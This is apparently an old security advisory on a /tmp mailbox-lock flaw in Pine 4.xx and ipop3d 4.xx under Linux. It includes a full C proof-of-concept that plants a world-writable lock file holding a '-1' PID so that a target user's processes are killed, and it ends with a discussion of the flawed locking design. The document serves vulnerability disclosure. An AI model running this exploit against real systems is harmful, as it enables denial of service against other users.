COMMAND

    pine & ipop3d

SYSTEMS AFFECTED

    Linux (with Pine 4.xx and ipop3d 4.xx)

PROBLEM

    Michal Zalewski  found following.   The problem  is probably  well
    known, but silently ignored by pine vendors.  Unfortunately,  it's
    possible to turn  'mostly harmless feature'  in something nasty  -
    following code allows  various DoSes by  killing all processes  of
    luser (could  be root?)  every time  he/she runs  pine or receives
    mail via POP3 protocol:

    // Pine 4.xx, ipop3d 4.xx and other /tmp-lock based mail stuff.

    #include <sys/file.h>
    #include <sys/stat.h>
    #include <unistd.h>

    main(int argc,char* argv[]) {
      int i,a=0;
      char s[100];
      struct stat x;
      if (!argv[1]) exit(printf("Usage: %s account_name\n",argv[0]));
      sprintf(s,"/var/spool/mail/%s",argv[1]);
      if (stat(s,&x)) exit(printf("Mailbox (%s) not found.\n",s));
      sprintf(s,"/tmp/.%x.%x",(int)x.st_dev,(int)x.st_ino);
      fchmod(i=open(s,O_RDWR|O_CREAT,0600),0666);
      while (1) {
        lseek(i,0,0);
        write(i,"-1",2);
        ftruncate(i,2);
        fsync(i);
        if (!a++) if (!flock(i,LOCK_EX)) printf("Got lock on %s.\n",s);
          else printf("File %s already locked, wait...\n",s);
        sleep(1);
      }
    }

    Works  well  under  Linux.  Under  BSD,  pine seems to have broken
    mailbox access  negotiation (fortunately).   No information  about
    ipop3d.

SOLUTION

    Mainly, this vunerability demonstrates that world-writable mailbox
    locks in /tmp are SICK IDEA.   It has been addressed as  'negative
    value' problem.   The problem is  buggy negotiation protocol,  not
    negative, positive or any  other PID itself (disallowing  negative
    values  won't  prevent  attacker  from killing choosen processes).
    So, as  today, there's  no chance  for complete  solution on  /tmp
    mailbox locks.